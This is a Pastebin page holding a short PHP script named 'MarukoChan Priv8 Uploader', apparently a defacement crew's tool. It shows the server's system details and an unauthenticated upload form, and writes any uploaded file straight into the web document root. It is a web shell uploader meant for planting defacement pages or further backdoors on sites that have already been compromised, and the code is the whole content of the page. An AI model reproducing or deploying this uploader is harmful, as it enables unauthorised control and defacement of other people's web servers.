Advertisement
domath69

MarukoChan-Priv8-Uploader-Gila-Coders

May 17th, 2018
676
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.56 KB | None | 0 0
  1. <?php
  2. echo "<!DOCTYPE html>
  3.     <html>
  4.         <head>
  5.             <title>MarukoChan Priv8</title>
  6.         </head>
  7.         <body>
  8.         <style>
  9.         @font-face {
  10.    font-family: Hacked;
  11.    src: url(https://watchdogsfont.com/font/HACKED_Title.ttf);
  12. }  
  13. </style>
  14.     <center>
  15. <img src='http://123emoji.com/wp-content/uploads/2016/04/chibi-7.png' width='220px;' height='220px;' style='float: center;'></a><br><br>";
  16. echo "<body bgcolor='black'>";
  17. echo "<font color='aquamarine' face='Courier New'>";
  18. echo "<font color='White' size='13' face='Hacked'><b>MarukoChan Priv8<br></font><br>";
  19. echo "Server : <b>".php_uname()."</b><br>";
  20. echo "<form method='post' enctype='multipart/form-data'>
  21.       <input type='file' name='idx_file'>
  22.       <input type='submit' name='upload' value='upload'>
  23.       </form>";
  24. $root = $_SERVER['DOCUMENT_ROOT'];
  25. $files = $_FILES['idx_file']['name'];
  26. $dest = $root.'/'.$files;
  27. if(isset($_POST['upload'])) {
  28.     if(is_writable($root)) {
  29.         if(@copy($_FILES['idx_file']['tmp_name'], $dest)) {
  30.             $web = "http://".$_SERVER['HTTP_HOST']."/";
  31.             echo "<font color='lime' face='Hacked'>Sukses Ea  -> <a href='$web/$files' target='_blank'><b><u><font color='white' face='Hacked'>$web/$files</font></u></b></a>";
  32.         } else {
  33.             echo "<font color='red' face='Hacked'><b>gagal upload di document root.</b></font>";
  34.         }
  35.     } else {
  36.         if(@copy($_FILES['idx_file']['tmp_name'], $files)) {
  37.             echo "<font color='white' face='Hacked'>sukses upload <b><font color='lime'>$files</b><font color='white'> di folder ini";
  38.         } else {
  39.             echo "<font color='red' face='Hacked'>gagal upload</font>";
  40.         }
  41.     }
  42. }
  43. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement